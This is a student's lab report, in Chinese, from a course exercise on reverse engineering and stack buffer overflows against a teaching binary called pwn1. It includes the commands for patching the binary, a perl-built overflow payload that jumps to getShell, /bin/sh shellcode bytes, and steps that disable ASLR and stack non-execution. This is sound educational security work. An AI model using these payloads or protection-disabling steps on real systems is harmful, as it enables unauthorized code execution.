Exp1 PC平台逆向破解(5)M_20181310徐方位
20181310徐方位的逆向及Bof基础实践
1.理解shellcode攻击原理
2.理解堆栈以及缓冲区溢出
3.利用foo函数的Bof漏洞进行攻击
4.学会运行原本不可访问的代码片段
5.强行修改程序执行流以及注入运行任意代码
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
-
指令、参数
- 用时及时查询。
- 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
- 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
-
操作成功不重要,照着敲入指令肯定会成功。
-
重要的是理解思路。
- 看指导理解思路,然后抛开指导自己做。
- 碰到问题才能学到知识。
- 具体的指令可以回到指导中查。
反汇编指令 objdump:
objdump -d <file(s)>: 将代码段反汇编; objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息; objdump -C <file(s)>: 将C++符号名逆向解析 objdump -l <file(s)>: 反汇编代码中插入文件名和行号 objdump -j section <file(s)>: 仅反汇编指定的section
NOP, JNE,, JMP, CMP汇编指令的机器码:
汇编指令 | 机器码 | 功能 |
NOP | 0x90 | 空指令,CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。 |
JNE | 0x75 | 条件转移指令,如果不相等则跳转。 |
JMP | 无条件转移指令。段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA | |
CMP | 0x38-0x3D | 比较指令,功能相当于减法指令,只是对操作数之间进行运算比较,不保存结果。 |
管道符(|):
利用管道符“|”将两个命令隔开,可以将管道符左边命令的标准输出管道为右边命令的标准输入。
连续使用管道符意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
十六进制编辑器
vim <filename>: 以ASCII码形式显示可执行文件的内容
:%!xxd: 将显示模式切换为16进制模式
:%!xxd: 将16进制切换回ASCII码模式
也可以使用图形化的编辑工具wxHexEditor
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
知识要求:
Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
实验步骤:
修改pwn名字:
复制三次供三次小实验使用:
运用以下指令对可执行文件进行反汇编:
objdump -d pwn20181310_1 | more
显示反汇编结果,找到我们要查看的地方
在main函数的第四条可以看到他将指向foo函数,这里我们的任务是将这里改成指向getshell函数在执行到这条指令时EIP存储的值,根据运算结果,我们可以知道,eip为下一个机器指令的地址为0x80484ba,0x8048491-0x80484ba=FFFFFD7(指向foo函数),故我们由此进行指向getshell的运算:
要修改为c3,先用vi打开文件,出现乱码
vi pwn20181310_1
使用以下指令将文件转换为16进制,并找到相应的位置进行修改(输入i便是insert之意):
:%!xxd
修改后结果,并再次反汇编查看:
运行结果,由结果看,实验已经成功了:
知识要求:
知识要求:堆栈结构,返回地址 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取 进阶:掌握ELF文件格式,掌握动态技术
反汇编查看foo漏洞
在这里由于需要使用gdb,故先解决gdb问题:
sudo apt-get install gdb
在此处便需要理解了,我们根据老师上课的视频可以看出,foo只给了28个字节的缓冲区空间,在其上方(这里假设堆栈是从上往下画的)便是ebp,需要四个字节,再往上便是eip处了,只需要覆盖此处,便可以实现缓冲区溢出。即当字符输入超过28,在33,34,35,36处便可以覆盖eip。
我们先试探性的输入一串长字符试一试:
从上面两图我们可以看到,正是33,34,35,36处的字符覆盖了eip的值
由此,我们便可以设计这处的值,使得覆盖后能够跳转到getshell的地址,由于是小端优先,getShell的内存地址,通过反汇编时可以看到,即0804847d,故这里应该为\x7d\x84\x04\x08。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以生成包括这样字符串的一个文件。\x0a表示回车。
使用perl指令生成:
`perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input`
最后利用管道符“|”,作为输入,这里的输入方式为固定的一个用法,进行这里文件的输入:
(cat input_20181310; cat) | ./pwn20181310_2
由此可以看见,getshell已经运行,实验成功
3.注入一个自己制作的shellcode并运行这段shellcode
准备知识:
shellcode就是一段机器指令(code)
-
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
进行实际操作:
由于exestack指令不能直接在kali里运行,故先进行预操作:
下载解压:
解压命令行:
bzip2 -d prelink_0.0.20130503.orig.tar.bz2
安装libelf-dev:
sudo apt-get install libelf-dev
在解压的文件中执行解压缩出来的congigure:
./configure
执行make
最后安装:
sudo make install
预操作完成,下面开始实验正题:
我们实验的假设条件是这样的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
故必须要设置堆栈可执行以及关闭地址随机化
堆栈可执行化以及查询效果我们,可以利用下面这条指令查看是否设置成过如果成功将会显示X
execstack -s pwn20181310_3(#设置代码)
execstack -q pwn20181310_3#验证代码
地址随机化以及效果查询,当显示0我们便已经成功:
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
由于先通览了一遍老师的指导,直接踩过了坑(😊)
这里我们的shellcode采用的方式为:anything+retaddr+nops+shellcode
这里先准备一段老师提供的正确顺序的shellcode:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
这里我们还不知道如何修改,这是一个使用特殊标符“试试”的过程,故使用“x04\x03\x02\x01”来试,接下来来确定这个内容
终端我们再打开一个,进行注入buf的攻击:
再打开一个终端,查看进程,记住进程号:
ps -ef | grep pwn1
我们使用gdb进行调试:
gdb attach 2186
使用命令反汇编,设置断点,查看注入字符串的内存地址:
disassemble foo
看到ret的地址:0x080484ae,通过指令设置断点,并在第二个终端里回车,输入c命令继续运行
break *0x080484ae
使用
info r esp
查找地址
此时esp寄存器的值为0xfffe226c,输入:x/16x 0xfffe226c
这里我们已经找到了,由于结构已经定下,故地址相邻,通过计算可得设计的值:
这里shellcode便可以重新设计:
将注入地址改为:
perl -e 'print "A" x 32;print"\x70\x22\xfe\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
查看结果:
已经成功调出了getshell了,实验成功。
此次实验根据老师给出的指导若是采取直接循规蹈矩的方式进行一步一步操作,其实是不难的,难的是理解内部所以然的原因,其中实验第二部分的堆栈结构,实验第三部分的shellcode摸索过程,这个才是最重要的。
此次实验我们是在一个非常理想的环境下进行的,也都就是说全部都已经设计好的环境下进行的,什么都是现成的,但实际上现实的环境错综复杂,在理想情况下仍需要一波三折,这已经充分说明了这条学习之路任重而道远,我们的修行远远不够!
shellcode中需要猜测==返回地址==的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。在这个观点下,我们应该去尝试加大难度,增加shellcode的构造难度。
实验中出现了很多问题,卡壳最久的竟然是安装prelink的失败,包括一些指令权限。linux系统的熟练程度还是不够。
但是,我进一步学习和理解了堆栈已经shellcode的相关知识,虽然坎坎坷坷,仍有收获!
回答:什么是漏洞?漏洞有什么危害?
漏洞,是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,它可以使攻击者在未授权的情况下访问或破坏系统。
危害:(1)软件的正常功能被破坏;
(2)系统被非法控制和破坏,攻击者恶意传播病毒、蠕虫,破坏系统数据,实施DDos攻击;
(3)信息泄露,攻击者一旦窃取管理员的身份信息,将会对系统造成巨大的危害,如更改系统权限,发送大量垃圾信息给用户。